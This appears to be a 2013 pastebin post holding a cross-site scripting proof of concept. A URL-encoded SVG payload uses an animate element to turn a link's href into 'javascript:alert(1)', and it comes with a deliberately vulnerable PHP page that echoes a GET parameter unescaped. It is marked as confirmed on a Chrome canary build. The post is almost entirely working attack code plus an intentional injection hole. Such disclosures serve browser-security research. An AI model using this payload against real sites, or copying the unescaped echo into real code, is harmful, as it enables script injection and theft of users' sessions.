SHARE
TWEET

Untitled

a guest Feb 14th, 2013 2,608 Never
  1. // URL
  2. test.php?xss=<svg%20xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle%20r=100%20/><animate%20attributeName="xlink:href"%20values=";javascript:alert(1)"%20begin="0s"%20dur="0.1s"%20fill="freeze"/>
  3.  
  4. // test.php
  5. <body>
  6. <?php echo $_GET['xss'] ?>
  7.  
  8. Confirmed on version 26.0.1411.0 canary
RAW Paste Data
Top